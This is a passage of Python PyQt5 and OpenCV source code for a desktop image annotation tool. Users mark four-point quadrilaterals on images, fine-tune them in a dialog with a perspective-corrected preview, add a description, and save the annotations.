import sys
from PyQt5 import QtWidgets, QtCore, QtGui
from PyQt5.QtWidgets import *
import cv2
import numpy as np
from utils import *
from annotation import Annotator

class QLabelWithClick(QLabel):
    def __init__(self, parent=None):
        super(QLabelWithClick, self).__init__(parent)
        self.setAlignment(QtCore.Qt.AlignTop)

        self.pixel_x = -1
        self.pixel_y = -1
        self.pixels_x = []
        self.pixels_y = []
        self.ratios_x = []
        self.ratios_y = []
        self.point_number = 0

        self.pixels = []
        self.ratios = []

        self.enabler = False
        self.hold = False

        self.window_geometry = (100, 100, 800, 600)
        self.first_click = False

        # self.finetune_window = FinetuneWindow(self.window_geometry)
        self.finetune_window = None

        self.image_path = ''
        self.cv_image = None

        self.new_width = -1
        self.new_height = -1

        self.contents = []

    def set_finetune_window(self, finetune_window):
        self.finetune_window = finetune_window

    def initilize(self):
        self.pixel_x = -1
        self.pixel_y = -1
        self.pixels_x = []
        self.pixels_y = []
        self.ratios_x = []
        self.ratios_y = []
        self.point_number = 0
        self.pixels = []
        self.ratios = []
        self.enabler = False
        self.hold = False
        # self.finetune_window = None
        self.first_click = False
        self.image_path = ''
        self.cv_image = None
        self.contents = []

    def get_annotation(self):
        assert self.pixels.__len__() == self.ratios.__len__()
        for i in range(self.pixels.__len__()):
            pixel = self.pixels[i]
            ratio = self.ratios[i]
            pixel_x = pixel[0]
            pixel_y = pixel[1]
            ratio_x = ratio[0]
            ratio_y = ratio[1]
            assert pixel_x.__len__() == pixel_y.__len__() and \
                   pixel_x.__len__() == ratio_x.__len__() and \
                   ratio_x.__len__() == ratio_y.__len__()
            for j in range(pixel_x.__len__()):
                r_x = ratio_x[j]
                r_y = ratio_y[j]
                self.pixels[i][0][j] = self.cv_image.shape[1] * r_x
                self.pixels[i][1][j] = self.cv_image.shape[0] * r_y
        pixels = self.pixels
        contents = self.contents
        self.initilize()
        return pixels, contents

    def set_image(self, image_path):
        # self.cv_image = cv2.imread(image_path)
        # g = self.geometry()
        # width = g.width()
        # height = g.height()
        # image_width = self.cv_image.shape[1]
        # image_height = self.cv_image.shape[0]
        # if image_height * (width / image_width) > height:
        #     new_width = image_width * (height / image_height)
        #     new_height = height
        # else:
        #     new_width = width
        #     new_height = image_height * (width / image_width)
        #
        # image = QtGui.QPixmap(image_path).scaled(new_width, new_height)
        # self.enabler = True
        # self.setPixmap(image)
        # self.repaint()
        self.image_path = image_path
        self.refresh_image()

    def refresh_image(self):
        if self.image_path == '':
            return
        self.cv_image = cv2.imread(self.image_path)
        g = self.geometry()
        width = g.width()
        height = g.height()

        width = max(64, width)
        height = max(64, height)

        image_width = self.cv_image.shape[1]
        image_height = self.cv_image.shape[0]
        if image_height * (width / image_width) > height:
            new_width = image_width * (height / image_height)
            new_height = height
        else:
            new_width = width
            new_height = image_height * (width / image_width)

        self.new_width = new_width
        self.new_height = new_height

        self.resize(new_width, new_height)
        image = QtGui.QPixmap(self.image_path).scaled(new_width, new_height)
        self.enabler = True
        self.setPixmap(image)

        assert self.pixels_x.__len__() == self.pixels_y.__len__() and \
               self.pixels_x.__len__() == self.ratios_x.__len__() and \
               self.ratios_x.__len__() == self.ratios_y.__len__()
        for i in range(self.pixels_x.__len__()):
            self.pixels_x[i] = new_width * self.ratios_x[i]
            self.pixels_y[i] = new_height * self.ratios_y[i]

        assert self.pixels.__len__() == self.ratios.__len__()
        for i in range(self.pixels.__len__()):
            pixel = self.pixels[i]
            ratio = self.ratios[i]
            pixel_x = pixel[0]
            pixel_y = pixel[1]
            ratio_x = ratio[0]
            ratio_y = ratio[1]
            assert pixel_x.__len__() == pixel_y.__len__() and \
                   pixel_x.__len__() == ratio_x.__len__() and \
                   ratio_x.__len__() == ratio_y.__len__()
            for j in range(pixel_x.__len__()):
                r_x = ratio_x[j]
                r_y = ratio_y[j]
                self.pixels[i][0][j] = new_width * r_x
                self.pixels[i][1][j] = new_height * r_y

        self.repaint()

    def paintEvent(self, e):
        if not self.enabler:
            return
        QLabel.paintEvent(self, e)
        if self.hold:
            self.point_number = 3
        painter = QtGui.QPainter()
        painter.begin(self)
        if self.pixel_x > 0 and self.pixel_y > 0:
            self.draw_points(painter)
        painter.end()

    def mousePressEvent(self, e):
        width = self.geometry().width()
        height = self.geometry().height()
        if not self.enabler:
            return
        if self.hold:
            return
        for i in range(self.pixels_x.__len__()):
            x = self.pixels_x[i]
            y = self.pixels_y[i]
            if x == e.x() and y == e.y():
                return
        if self.point_number < 4:
            self.pixel_x = e.x()
            self.pixel_y = e.y()
            ratio_x = self.pixel_x / width
            ratio_y = self.pixel_y / height
            self.pixels_x.append(self.pixel_x)
            self.pixels_y.append(self.pixel_y)
            self.ratios_x.append(ratio_x)
            self.ratios_y.append(ratio_y)
            self.first_click = True
            self.repaint()
            self.first_click = False
            self.point_number += 1
            if self.point_number == 4:
                self.hold = True
                w = self.cv_image.shape[1]
                h = self.cv_image.shape[0]
                self.finetune_window.set_parameters(self.window_geometry,
                                                    (round(self.ratios_x[0] * w), round(self.ratios_y[0] * h)),
                                                    (round(self.ratios_x[1] * w), round(self.ratios_y[1] * h)),
                                                    (round(self.ratios_x[2] * w), round(self.ratios_y[2] * h)),
                                                    (round(self.ratios_x[3] * w), round(self.ratios_y[3] * h)),
                                                    self.cv_image)
                self.finetune_window.activateWindow()
                self.finetune_window.exec()

                if self.finetune_window.annotation_finish:
                    finetuned_pixels = self.finetune_window.finetune_results
                    finetuned_ratios_x = (finetuned_pixels[0][0] / w, finetuned_pixels[1][0] / w,
                                          finetuned_pixels[2][0] / w, finetuned_pixels[3][0] / w)
                    finetuned_pixels_x = [finetuned_ratios_x[0] * self.new_width,
                                          finetuned_ratios_x[1] * self.new_width,
                                          finetuned_ratios_x[2] * self.new_width,
                                          finetuned_ratios_x[3] * self.new_width]

                    finetuned_ratios_y = (finetuned_pixels[0][1] / h, finetuned_pixels[1][1] / h,
                                          finetuned_pixels[2][1] / h, finetuned_pixels[3][1] / h)
                    finetuned_pixels_y = [finetuned_ratios_y[0] * self.new_height,
                                          finetuned_ratios_y[1] * self.new_height,
                                          finetuned_ratios_y[2] * self.new_height,
                                          finetuned_ratios_y[3] * self.new_height]

                    self.pixels.append([finetuned_pixels_x, finetuned_pixels_y])
                    self.ratios.append([finetuned_ratios_x, finetuned_ratios_y])
                    self.contents.append(self.finetune_window.content)
                self.point_number = 0
                self.pixels_x = []
                self.pixels_y = []
                self.ratios_x = []
                self.ratios_y = []
                self.hold = False
                # self.finish_paint = True
                self.repaint()
                # self.finish_paint = False
                self.window_geometry = self.finetune_window.get_geometry()
        else:
            pass

    def draw_points(self, painter):
        if self.pixels.__len__() != 0:
            for pixel in self.pixels:
                pixels_x = pixel[0]
                pixels_y = pixel[1]
                painter.setPen(QtGui.QPen(QtCore.Qt.green, 5))
                painter.drawPoint(pixels_x[0], pixels_y[0])
                painter.drawPoint(pixels_x[1], pixels_y[1])
                painter.drawPoint(pixels_x[2], pixels_y[2])
                painter.drawPoint(pixels_x[3], pixels_y[3])
                painter.drawLine(pixels_x[0], pixels_y[0], pixels_x[1], pixels_y[1])
                painter.drawLine(pixels_x[1], pixels_y[1], pixels_x[2], pixels_y[2])
                painter.drawLine(pixels_x[2], pixels_y[2], pixels_x[3], pixels_y[3])
                painter.drawLine(pixels_x[3], pixels_y[3], pixels_x[0], pixels_y[0])

        assert self.point_number < 4
        if self.point_number == 0 and self.first_click:
            painter.setPen(QtGui.QPen(QtCore.Qt.red, 5))
            painter.drawPoint(self.pixel_x, self.pixel_y)
        elif self.point_number == 1:
            painter.setPen(QtGui.QPen(QtCore.Qt.red, 5))
            painter.drawPoint(self.pixels_x[0], self.pixels_y[0])
            painter.drawPoint(self.pixel_x, self.pixel_y)
            painter.drawLine(self.pixels_x[0], self.pixels_y[0], self.pixel_x, self.pixel_y)
        elif self.point_number == 2:
            painter.setPen(QtGui.QPen(QtCore.Qt.red, 5))
            painter.drawPoint(self.pixels_x[0], self.pixels_y[0])
            painter.drawPoint(self.pixels_x[1], self.pixels_y[1])
            painter.drawPoint(self.pixel_x, self.pixel_y)
            painter.drawLine(self.pixels_x[0], self.pixels_y[0], self.pixels_x[1], self.pixels_y[1])
            painter.drawLine(self.pixels_x[1], self.pixels_y[1], self.pixel_x, self.pixel_y)
        elif self.point_number == 3:
            painter.setPen(QtGui.QPen(QtCore.Qt.red, 5))
            painter.drawPoint(self.pixels_x[0], self.pixels_y[0])
            painter.drawPoint(self.pixels_x[1], self.pixels_y[1])
            painter.drawPoint(self.pixels_x[2], self.pixels_y[2])
            painter.drawPoint(self.pixel_x, self.pixel_y)
            painter.drawLine(self.pixels_x[0], self.pixels_y[0], self.pixels_x[1], self.pixels_y[1])
            painter.drawLine(self.pixels_x[1], self.pixels_y[1], self.pixels_x[2], self.pixels_y[2])
            painter.drawLine(self.pixels_x[2], self.pixels_y[2], self.pixel_x, self.pixel_y)
            painter.drawLine(self.pixels_x[3], self.pixels_y[3], self.pixels_x[0], self.pixels_y[0])

    def clear_paint(self):
        self.pixel_x = -1
        self.pixel_y = -1
        self.pixels_x = []
        self.pixels_y = []
        self.point_number = 0
        self.repaint()

class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        desktop = QtWidgets.QApplication.desktop()
        screen_rect = desktop.screenGeometry()
        self.screen_height = screen_rect.height()
        self.screen_width = screen_rect.width()

        self.window_x = int(self.screen_width / 4)
        self.window_y = int(self.screen_height / 4)
        self.window_width = int(self.screen_width / 2)
        self.toolbar_width = min(240, int(self.screen_width / 4 - 5))
        self.window_height = int(self.screen_height / 2)

        self.image_x = min(40, int(self.window_width / 8))
        self.image_y = min(80, int(self.window_height / 8))
        self.image_width = max(1, int(self.window_width - 2 * self.image_x))
        self.image_height = max(1, int(self.window_height - self.image_y - min(40, int(self.window_height / 8))))

        self.setGeometry(self.window_x, self.window_y, self.window_width + self.toolbar_width, self.window_height)
        self.setWindowTitle('TITLE')

        self.label = QLabelWithClick(self)

        self.image_list = []
        self.image_order_number = 0

        self.annotations = []
        self.contents = []
        self.input_paths = []

        self.btn_prev = QPushButton(self)
        self.btn_prev.setText('Prev.')
        self.btn_prev.clicked.connect(self.show_prev)
        self.btn_prev.setEnabled(False)

        self.btn_next = QPushButton(self)
        self.btn_next.setText('Next')
        self.btn_next.clicked.connect(self.show_next)
        self.btn_next.setEnabled(False)

        self.initialize_label()

        self.btn_choose_folder = QPushButton(self)
        self.btn_choose_folder.setText('Choose folder...')
        self.btn_choose_folder.clicked.connect(self.choose_folder)

        self.btn_choose_files = QPushButton(self)
        self.btn_choose_files.setText('Choose files...')
        self.btn_choose_files.clicked.connect(self.choose_files)

        self.delete_box = QCheckBox(self)
        self.delete_box.setText('Delete images after annotating')
        self.delete_box.clicked.connect(self.warning_dialog)

        self.image_save_box = QCheckBox(self)
        self.image_save_box.setText('Save corresponding images with\nannotation files')
        self.image_save_box.setChecked(True)
        self.image_save_box.clicked.connect(self.warning_dialog)

        self.btn_choose_output_folder = QPushButton(self)
        self.btn_choose_output_folder.setText('Choose output path...')
        self.btn_choose_output_folder.clicked.connect(self.choose_output)

        self.output_path_text = QTextEdit(self)
        self.output_path_text.setEnabled(False)

        self.btn_save_mode1 = QRadioButton('Save each image after annotating', self)
        self.btn_save_mode1.setChecked(True)
        self.btn_save_mode2 = QRadioButton('Save all images after annotating\n(not recommend)', self)
        self.save_mode_group = QButtonGroup(self)
        self.save_mode_group.addButton(self.btn_save_mode1, 1)
        self.save_mode_group.addButton(self.btn_save_mode2, 2)

        self.progress_bar = QProgressBar(self)
        self.progress_bar.setVisible(False)

        self.warning_window = None
        self.finetune_window = FinetuneWindow((100, 100, 800, 600))
        self.finetune_window.setFocus()

        self.label.set_finetune_window(self.finetune_window)

        self.refresh_widgets()

    def refresh_widgets(self):
        self.image_x = min(40, int(self.window_width / 8))
        self.image_y = min(80, int(self.window_height / 8))
        self.image_width = max(1, int(self.window_width - 2 * self.image_x))
        self.image_height = max(1, int(self.window_height - self.image_y - min(40, int(self.window_height / 8))))

        self.label.resize(self.image_width, self.image_height)
        self.label.move(self.image_x, self.image_y)
        self.label.refresh_image()

        self.btn_prev.resize(int(self.window_width / 9), int(self.image_y / 2))
        self.btn_prev.move(int(self.window_width / 9), int(self.image_y / 4))

        self.btn_next.resize(int(self.window_width / 9), int(self.image_y / 2))
        self.btn_next.move(int(3 * self.window_width / 9), int(self.image_y / 4))

        self.btn_choose_folder.resize(int(self.window_width / 9), int(self.image_y / 2))
        self.btn_choose_folder.move(int(5 * self.window_width / 9), int(self.image_y / 4))

        self.btn_choose_files.resize(int(self.window_width / 9), int(self.image_y / 2))
        self.btn_choose_files.move(int(7 * self.window_width / 9), int(self.image_y / 4))

        self.btn_choose_output_folder.setGeometry(self.window_width, self.image_y,
                                                  self.toolbar_width - 45, int(self.window_height / 20))
        self.output_path_text.setGeometry(self.window_width,
                                          self.image_y + int(self.window_height / 20),
                                          self.toolbar_width - 45, int(self.window_height / 10))

        self.delete_box.setGeometry(self.window_width, self.image_y + int(self.window_height / 5),
                                    self.toolbar_width, int(self.window_height / 20))
        self.image_save_box.setGeometry(self.window_width, self.image_y + int(self.window_height / 4),
                                        self.toolbar_width, int(self.window_height / 20))

        self.btn_save_mode1.setGeometry(self.window_width,
                                        self.image_y + int(self.window_height * 2 / 5),
                                        self.toolbar_width - 15, int(self.window_height / 20))
        self.btn_save_mode2.setGeometry(self.window_width,
                                        self.image_y + int(self.window_height * 2 / 5) + int(self.window_height / 20),
                                        self.toolbar_width - 15, int(self.window_height / 20))

        self.progress_bar.setGeometry(self.window_width,
                                        self.image_y + int(self.window_height * 13 / 20),
                                        self.toolbar_width - 15, int(self.window_height / 20))

    def resizeEvent(self, e):
        self.window_width = e.size().width() - self.toolbar_width
        self.window_height = e.size().height()
        self.refresh_widgets()
        QtWidgets.QWidget.resizeEvent(self, e)

    def initialize_label(self):
        self.label.setText("Choose an Image Folder or image files")
        self.label.setStyleSheet("QLabel{background:white;}"
                                 "QLabel{color:black;font-size:10px;font-weight:bold;font-family:Times New Roman;}"
                                 )
        self.label.enabler = False
        self.btn_next.setEnabled(False)
        self.btn_next.setText('Next')
        self.btn_prev.setEnabled(False)
        self.btn_prev.setText('Prev.')
        self.image_list = []
        self.image_order_number = 0
        self.annotations = []
        self.contents = []
        self.input_paths = []

    def choose_folder(self):
        self.initialize_label()
        self.label.clear_paint()
        self.image_order_number = 0
        folder_name = QFileDialog.getExistingDirectory(self, "Choose Folder", "")
        if folder_name == '':
            return
        image_names = get_files(folder_name, format_=['jpg', 'png', 'bmp'])
        self.image_list = []
        for image_name in image_names:
            self.image_list.append(folder_name + '/' + image_name)
        if image_names.__len__() == 0:
            return
        # first_image = QtGui.QPixmap(folder_name + '/' + image_names[0]).
        # scaled(self.label.width(), self.label.height())
        # self.label.setPixmap(first_image)
        self.label.set_image(folder_name + '/' + image_names[0])
        self.btn_next.setEnabled(True)
        self.btn_next.setText('Next')
        if image_names.__len__() == 1:
            self.btn_next.setText('Finish')

    def choose_files(self):
        self.initialize_label()
        self.label.clear_paint()
        self.image_order_number = 0
        image_names, _ = QFileDialog.getOpenFileNames(self, "Choose Folder", "", "*.jpg;;*.png;;*.bmp;;All Files(*)")
        self.image_list = image_names
        if image_names.__len__() == 0:
            return
        # first_image = QtGui.QPixmap(image_names[0]).scaled(self.label.width(), self.label.height())
        # self.label.setPixmap(first_image)
        self.label.set_image(image_names[0])
        self.btn_next.setEnabled(True)
        self.btn_next.setText('Next')
        if image_names.__len__() == 1:
            self.btn_next.setText('Finish')

    def choose_output(self):
        folder_name = QFileDialog.getExistingDirectory(self, "Choose Output Folder", "")
        if folder_name == '':
            return
        self.output_path_text.setText(folder_name)

    def warning_dialog(self):
        if self.delete_box.isChecked() and not self.image_save_box.isChecked():
            self.warning_window = CheckBoxWarning(self.geometry())
            self.warning_window.exec_()
        if self.delete_box.isChecked():
            self.btn_prev.setEnabled(False)
        if not self.delete_box.isChecked():
            self.btn_prev.setEnabled(True)

    def show_prev(self):
        order_number = self.image_order_number
        order_number -= 1
        self.refresh_widgets()
        if self.image_list[order_number] is None:
            self.warning_window = DeleteWarning(self.geometry())
            self.warning_window.exec_()
            return
        if order_number < 0:
            pass
        else:
            self.label.clear_paint()
            # image = QtGui.QPixmap(self.image_list[order_number]).scaled(self.label.width(), self.label.height())
            # self.label.setPixmap(image)
            self.label.set_image(self.image_list[order_number])
            self.image_order_number = order_number
            if order_number == 0:
                self.btn_prev.setEnabled(False)
            if order_number < self.image_list.__len__() - 1:
                self.btn_next.setText('Next')

    def show_next(self):
        self.refresh_widgets()
        if self.output_path_text.toPlainText() == '':
            self.warning_window = OutputWarning(self.geometry())
            self.warning_window.exec_()
            return
        annotation, content = self.label.get_annotation()
        assert annotation.__len__() == content.__len__()
        checked_id = self.save_mode_group.checkedId()
        output_path = self.output_path_text.toPlainText()
        delete_images = self.delete_box.isChecked()
        save_images = self.image_save_box.isChecked()
        if checked_id == 1:
            self.annotations.append(annotation)
            self.contents.append(content)
            self.input_paths.append(self.image_list[self.image_order_number])
            annotator = Annotator(self.annotations, self.contents, self.input_paths,
                                  output_path, delete_images, save_images, self.progress_bar)
            annotator.annotate()
            self.annotations = []
            self.contents = []
            self.input_paths = []
            if self.image_order_number == self.image_list.__len__() - 1:
                self.initialize_label()
                self.refresh_widgets()
                # self.output_path_text.setText('')
        elif checked_id == 2:
            self.annotations.append(annotation)
            self.contents.append(content)
            self.input_paths.append(self.image_list[self.image_order_number])
            if self.image_order_number == self.image_list.__len__() - 1:
                annotator = Annotator(self.annotations, self.contents, self.input_paths,
                                      output_path, delete_images, save_images, self.progress_bar)

                annotator.annotate()
                self.initialize_label()
                self.refresh_widgets()
                # self.output_path_text.setText('')
        if delete_images:
            self.image_list[self.image_order_number] = None
        order_number = self.image_order_number
        order_number += 1
        if order_number >= self.image_list.__len__():
            pass
        else:
            self.label.clear_paint()
            # image = QtGui.QPixmap(self.image_list[order_number]).scaled(self.label.width(), self.label.height())
            # self.label.setPixmap(image)
            self.refresh_widgets()
            self.label.set_image(self.image_list[order_number])
            self.image_order_number = order_number
            if order_number != 0:
                self.btn_prev.setEnabled(True)
            if order_number == self.image_list.__len__() - 1:
                self.btn_next.setEnabled(True)
                self.btn_next.setText('Finish')

class QLabelWithAdjust(QLabel):
    def __init__(self, parent=None):
        super(QLabelWithAdjust, self).__init__(parent)
        self.point_processing = 0
        self.cv_image = None
        self.ratios = None
        self.points = None
        self.new_width = -1
        self.new_height = -1
        self.preview_label = None

        self.confirm_btn = None
        self.cancel_btn = None

    def set_buttons(self, confirm, cancel):
        self.confirm_btn = confirm
        self.cancel_btn = cancel

    def set_preview_label(self, preview_label):
        self.preview_label = preview_label

    def set_image(self, cv_image, ratios):
        self.cv_image = cv_image
        self.ratios = ratios
        self.refresh_image()

    def refresh_image(self):
        g = self.geometry()
        width = g.width()
        height = g.height()

        width = max(64, width)
        height = max(64, height)

        image_width = self.cv_image.shape[1]
        image_height = self.cv_image.shape[0]
        if image_height * (width / image_width) > height:
            new_width = image_width * (height / image_height)
            new_height = height
        else:
            new_width = width
            new_height = image_height * (width / image_width)

        new_width = round(new_width)
        new_height = round(new_height)

        self.new_width = new_width
        self.new_height = new_height

        self.resize(new_width, new_height)

        cv_image = cv2.resize(self.cv_image, (new_width, new_height))
        cv_cutted_image = cv2.cvtColor(cv_image, cv2.COLOR_BGR2RGB)
        qt_image = QtGui.QImage(cv_cutted_image,
                                cv_cutted_image.shape[1], cv_cutted_image.shape[0], cv_cutted_image.shape[1] * 3,
                                QtGui.QImage.Format_RGB888)
        image = QtGui.QPixmap.fromImage(qt_image)
        # self.resize(QtCore.QSize(cv_cutted_image.shape[1], cv_cutted_image.shape[0]))
        self.setPixmap(image)

        # g = self.geometry()
        p1 = [new_width * self.ratios[0][0], new_height * self.ratios[0][1]]
        p2 = [new_width * self.ratios[1][0], new_height * self.ratios[1][1]]
        p3 = [new_width * self.ratios[2][0], new_height * self.ratios[2][1]]
        p4 = [new_width * self.ratios[3][0], new_height * self.ratios[3][1]]
        self.points = [p1, p2, p3, p4]

        self.repaint()

    def paintEvent(self, e):
        QLabel.paintEvent(self, e)
        painter = QtGui.QPainter()
        painter.begin(self)
        self.draw_points(painter)
        painter.end()

    def draw_points(self, painter):
        if self.points is None:
            return
        p1 = self.points[0]
        p2 = self.points[1]
        p3 = self.points[2]
        p4 = self.points[3]
        painter.setPen(QtGui.QPen(QtCore.Qt.red, 5))
        painter.drawPoint(p1[0], p1[1])
        painter.drawPoint(p2[0], p2[1])
        painter.drawPoint(p3[0], p3[1])
        painter.drawPoint(p4[0], p4[1])
        painter.drawLine(p1[0], p1[1], p2[0], p2[1])
        painter.drawLine(p2[0], p2[1], p3[0], p3[1])
        painter.drawLine(p3[0], p3[1], p4[0], p4[1])
        painter.drawLine(p4[0], p4[1], p1[0], p1[1])

        painter.setPen(QtGui.QPen(QtCore.Qt.blue, 10))
        painter.drawPoint(self.points[self.point_processing][0], self.points[self.point_processing][1])

    def check_point(self):
        point = self.points[self.point_processing]
        if point[0] < 0:
            point[0] = 0
        if point[1] < 0:
            point[1] = 0

        if point[0] > self.new_width - 1:
            point[0] = self.new_width - 1
        if point[1] > self.new_height - 1:
            point[1] = self.new_height - 1

        self.points[self.point_processing] = point

    def keyPressEvent(self, e):
        w = self.cv_image.shape[1]
        h = self.cv_image.shape[0]
        k = e.key()
        if k == QtCore.Qt.Key_Space:
            self.point_processing = (self.point_processing + 1) % 4
            self.repaint()
        elif k == QtCore.Qt.Key_Up:
            self.points[self.point_processing][1] = self.points[self.point_processing][1] - 1
            self.check_point()
            self.repaint()
            self.ratios[self.point_processing][1] = self.points[self.point_processing][1] / self.new_height
            self.preview_label.refresh_points(((self.ratios[0][0] * w, self.ratios[0][1] * h),
                                               (self.ratios[1][0] * w, self.ratios[1][1] * h),
                                               (self.ratios[2][0] * w, self.ratios[2][1] * h),
                                               (self.ratios[3][0] * w, self.ratios[3][1] * h)))
        elif k == QtCore.Qt.Key_Down:
            self.points[self.point_processing][1] = self.points[self.point_processing][1] + 1
            self.check_point()
            self.repaint()
            self.ratios[self.point_processing][1] = self.points[self.point_processing][1] / self.new_height
            self.preview_label.refresh_points(((self.ratios[0][0] * w, self.ratios[0][1] * h),
                                               (self.ratios[1][0] * w, self.ratios[1][1] * h),
                                               (self.ratios[2][0] * w, self.ratios[2][1] * h),
                                               (self.ratios[3][0] * w, self.ratios[3][1] * h)))
        elif k == QtCore.Qt.Key_Left:
            self.points[self.point_processing][0] = self.points[self.point_processing][0] - 1
            self.check_point()
            self.repaint()
            self.ratios[self.point_processing][0] = self.points[self.point_processing][0] / self.new_width
            self.preview_label.refresh_points(((self.ratios[0][0] * w, self.ratios[0][1] * h),
                                               (self.ratios[1][0] * w, self.ratios[1][1] * h),
                                               (self.ratios[2][0] * w, self.ratios[2][1] * h),
                                               (self.ratios[3][0] * w, self.ratios[3][1] * h)))
        elif k == QtCore.Qt.Key_Right:
            self.points[self.point_processing][0] = self.points[self.point_processing][0] + 1
            self.check_point()
            self.repaint()
            self.ratios[self.point_processing][0] = self.points[self.point_processing][0] / self.new_width
            self.preview_label.refresh_points(((self.ratios[0][0] * w, self.ratios[0][1] * h),
                                               (self.ratios[1][0] * w, self.ratios[1][1] * h),
                                               (self.ratios[2][0] * w, self.ratios[2][1] * h),
                                               (self.ratios[3][0] * w, self.ratios[3][1] * h)))
        elif k == QtCore.Qt.Key_Enter - 1:
            self.confirm_btn.click()
        elif k == QtCore.Qt.Key_Escape or k == QtCore.Qt.Key_Delete:
            self.cancel_btn.click()

    def mousePressEvent(self, e):
        self.setFocus()

class QLabelPreview(QLabel):
    def __init__(self, parent=None):
        super(QLabelPreview, self).__init__(parent)
        self.point_processing = 0
        self.points = None
        self.cv_image = None
        self.lx = 0
        self.ty = 0
        self.geo = None

    def set_points(self, points):
        self.points = points

    def set_image(self, cv_image, geo):
        self.cv_image = cv_image
        self.refresh_image(geo)
        self.geo = geo

    def set_map(self, lx, ty):
        self.lx = lx
        self.ty = ty

    def refresh_points(self, _points):
        restored_points = []
        for point in _points:
            new_point = (point[0] + self.lx, point[1] + self.ty)
            restored_points.append(new_point)
        self.points = restored_points

        self.refresh_image(self.geometry())

    def refresh_image(self, geo):
        self.resize(geo.width(), geo.height())
        new_points = ((0, 0), (self.geometry().width(), 0), (self.geometry().width(), self.geometry().height()),
                      (0, self.geometry().height()))
        transformation_matrix = cv2.getPerspectiveTransform(np.float32(self.points), np.float32(new_points))

        transformed_image = cv2.warpPerspective(self.cv_image.copy(), transformation_matrix,
                                                (self.geometry().width(), self.geometry().height()))
        cv_transformed_image = cv2.cvtColor(transformed_image, cv2.COLOR_BGR2RGB)
        qt_transformed_image = QtGui.QImage(cv_transformed_image,
                                            cv_transformed_image.shape[1], cv_transformed_image.shape[0],
                                            cv_transformed_image.shape[1] * 3, QtGui.QImage.Format_RGB888)
        image_ = QtGui.QPixmap.fromImage(qt_transformed_image)
        self.resize(QtCore.QSize(cv_transformed_image.shape[1], cv_transformed_image.shape[0]))
        self.setPixmap(image_)

class FinetuneWindow(QDialog):
    def __init__(self, window_geometry):
        super(FinetuneWindow, self).__init__()

        self.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)# |QtCore.Qt.WindowStaysOnTopHint)

        self.setWindowModality(QtCore.Qt.ApplicationModal)

        self.window_x = window_geometry[0]
        self.window_y = window_geometry[1]
        self.window_width = window_geometry[2]
        self.window_height = window_geometry[3]

        self.setGeometry(self.window_x, self.window_y, self.window_width, self.window_height)
        self.setWindowTitle('Finetune annotation')

        self.point1 = (-1, -1)
        self.point2 = (-1, -1)
        self.point3 = (-1, -1)
        self.point4 = (-1, -1)
        self.lx = 0
        self.ty = 0
        self.finetune_results = []
        self.content = ''

        self.btn_confirm = QPushButton(self)
        self.btn_confirm.setText('OK')
        self.btn_confirm.clicked.connect(self.close_with_saving)
        self.btn_cancel = QPushButton(self)
        self.btn_cancel.setText('Cancel')
        self.btn_cancel.clicked.connect(self.close_without_saving)

        self.btn_swith_point = QPushButton(self)
        self.btn_swith_point.setText('Switch Point')
        self.btn_swith_point.clicked.connect(self.switch_point)

        self.content_text_frame = QLineEdit(self)
        self.content_text_frame.setPlaceholderText('Input descriptions of this object')

        self.label = QLabelWithAdjust(self)
        self.preview_label = QLabelPreview(self)
        self.label.set_buttons(self.btn_confirm, self.btn_cancel)
        # self.label.set_preview_label(self.preview_label)

        self.setFocus()
        self.label.setFocus()
        self.setFocusPolicy(QtCore.Qt.StrongFocus)

        self.annotation_finish = False

        self.cv_image = None

        self.refresh_widgets()

    def set_parameters(self, window_geometry, point1, point2, point3, point4, cv_image):
        self.window_x = window_geometry[0]
        self.window_y = window_geometry[1]
        self.window_width = window_geometry[2]
        self.window_height = window_geometry[3]

        self.setGeometry(self.window_x, self.window_y, self.window_width, self.window_height)

        self.point1 = point1
        self.point2 = point2
        self.point3 = point3
        self.point4 = point4

        self.cv_image = cv_image

        self.content_text_frame.setText('')

        points_ = (point1, point2, point3, point4)
        annotated_rect = cv2.boundingRect(np.array(points_))
        x = annotated_rect[0]
        y = annotated_rect[1]
        w = annotated_rect[2]
        h = annotated_rect[3]

        self.lx = max(0, x - w)
        self.lx = max(self.lx, x - 100)
        x_extension = x - self.lx
        self.ty = max(0, y - h)
        self.ty = max(self.ty, y - 100)
        y_extension = y - self.ty

        rx = min(x + w + x_extension, cv_image.shape[1] - 1)
        by = min(y + h + y_extension, cv_image.shape[0] - 1)

        cv_cut_image = cv_image[self.ty: by, self.lx: rx]
        cut_width = rx - self.lx
        cut_height = by - self.ty

        moved_ratios = [[(point1[0] - self.lx) / cut_width, (point1[1] - self.ty) / cut_height],
                        [(point2[0] - self.lx) / cut_width, (point2[1] - self.ty) / cut_height],
                        [(point3[0] - self.lx) / cut_width, (point3[1] - self.ty) / cut_height],
                        [(point4[0] - self.lx) / cut_width, (point4[1] - self.ty) / cut_height]]

        self.label.set_image(cv_cut_image, moved_ratios)

        self.preview_label.set_points(points_)
        self.preview_label.set_image(self.cv_image, self.label.geometry())
        self.preview_label.set_map(self.lx, self.ty)

        self.label.set_preview_label(self.preview_label)

        self.setFocus()
        self.label.setFocus()
        self.setFocusPolicy(QtCore.Qt.StrongFocus)

        self.annotation_finish = False

        self.refresh_widgets()

    def refresh_widgets(self):
        image_x = min(40, int(self.window_width / 8))
        image_y = min(80, int(self.window_height / 8))
        image_width = max(1, int(self.window_width - 2 * image_x))
        image_height = max(1, int((self.window_height - image_y - min(40, int(self.window_height / 8))) / 2))

        self.label.setGeometry(image_x, image_y, image_width, image_height)
        self.preview_label.setGeometry(image_x, image_y + image_height + 10,
                                       image_width, image_height)

        if self.cv_image is not None:
            self.label.refresh_image()
            self.preview_label.refresh_image(self.label.geometry())

        self.btn_confirm.setGeometry(int(self.window_width * 12 / 18), int(image_y / 4),
                                     int(self.window_width / 9), int(image_y / 2))
        self.btn_cancel.setGeometry(int(self.window_width * 15 / 18), int(image_y / 4),
                                    int(self.window_width / 9), int(image_y / 2))

        self.btn_swith_point.setGeometry(int(self.window_width * 9 / 18), int(image_y / 4),
                                         int(self.window_width / 9), int(image_y / 2))

        self.content_text_frame.setGeometry(int(self.window_width / 18), int(image_y / 4),
                                            int(self.window_width * 3 / 9), int(image_y / 2))

    def resizeEvent(self, e):
        self.window_width = e.size().width()
        self.window_height = e.size().height()
        self.refresh_widgets()
        QtWidgets.QWidget.resizeEvent(self, e)

    def moveEvent(self, e):
        self.window_x = e.pos().x()
        self.window_y = e.pos().y()
        QtWidgets.QWidget.moveEvent(self, e)

    def get_geometry(self):
        return (self.window_x, self.window_y, self.window_width, self.window_height)

    def switch_point(self):
